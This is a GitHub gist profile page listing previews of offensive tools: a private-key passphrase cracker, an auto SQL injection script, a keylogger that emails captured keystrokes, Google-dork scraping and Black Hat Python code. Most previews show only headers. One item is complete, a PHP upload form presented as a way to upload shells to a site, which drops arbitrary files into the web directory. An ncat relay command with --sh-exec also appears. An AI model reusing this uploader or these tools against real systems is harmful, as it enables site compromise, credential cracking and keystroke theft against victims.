Skip to content

Instantly share code, notes, and snippets.

View sh1nu11bi's full-sized avatar

sh1nu11bi

View GitHub Profile
import urllib2
import lxml.html as html
import re
import socket
def replaceme(source):
xpathsource = html.fromstring(source)
for styleinfo in xpathsource.xpath('//style/text()'):
@sh1nu11bi
sh1nu11bi / gist:7adf4fba4d8093105de9
Created October 6, 2014 14:45
SSL / SSH Private Key Passphase Cracker v1.0
#!/bin/bash
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# ssl-crack.sh - wordlist-based encrypted SSL and SSH Private Key Passphase #
# Cracker #
@sh1nu11bi
sh1nu11bi / gist:9d59e975938d3304839f
Created October 6, 2014 14:46
Auto SQL Injection
<?
@set_time_limit(0)
@error_reporting(0)
if(count($argv)<=2)
{
print("
__ _ _
__ __/ _\ ___ ___ _ _ _ __(_) |_ _ _
@sh1nu11bi
sh1nu11bi / gist:7f89dd4b536bbe7893e3
Created October 6, 2014 14:49
Quick Python server
python -m SimpleHTTPServer & ncat --ssl -l 8443 --sh-exec "ncat 127.0.0.1 8000" --keep-open
@sh1nu11bi
sh1nu11bi / gist:430866bb462cfa28ef89
Created October 6, 2014 14:51
PHP upload box to upload shells to site
<?php
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!! Enjoy brother</b><br><br>'; }
else { echo '<b>Upload Failed !!! Try again</b><br><br>'; }
}
?>
@sh1nu11bi
sh1nu11bi / gist:ab31084bc808caf32e4b
Created December 9, 2014 17:32
Keymail-A Keylogger written in C# that will send logged keystrokes to inputed e-mail
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: keymail.c Ver. 0.7 *
* *
* Purpose: a stealth (somewhat) key logger, writes to a log file then sends *
* and email to whoever is set in the #define options at compile time. *
* This code is for educational uses, don't be an ass hat with it. *
* White Scorpion (www.white-scorpion.nl) did the initial work on the key *
* logger, but he has gone on to bigger and better things. *
* This version was crafted by Irongeek (www.Irongeek.com), who tacked on *
#!/usr/bin/python
# Exploit-db.com Google Dork Hacking Database Replicator written by Andy Bricker
# Proof of concept. You shouldnt use this script without prior consent from Exploit-db.com
# http://andybricker.com
# Contact: andy at andybricker.com
# Requirements
# Python 2.7 (Has not been tasted on later versions)
# Usage:
@sh1nu11bi
sh1nu11bi / kali.sh
Created January 5, 2015 03:30
kali.sh
#!/bin/bash
#-Metadata------------------------------------------------#
# Filename: kali.sh (Update: 2014-11-27) #
#-Info----------------------------------------------------#
# Personal post install script for Kali Linux. #
#-Author(s)-----------------------------------------------#
# g0tmilk ~ https://blog.g0tmi1k.com #
#-Operating System----------------------------------------#
# Designed for: Kali Linux 1.0.9a [x64] (VM - VMware) #
# Tested on: Kali Linux 1.0.0 - 1.0.9a [x64 & x84] #
@sh1nu11bi
sh1nu11bi / 0_reuse_code.js
Last active August 29, 2015 14:12
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@sh1nu11bi
sh1nu11bi / Chapter1
Created February 18, 2015 17:38
Black Hat Python_Personal Mod Code
This code is taken fro Chapter 1-Mods included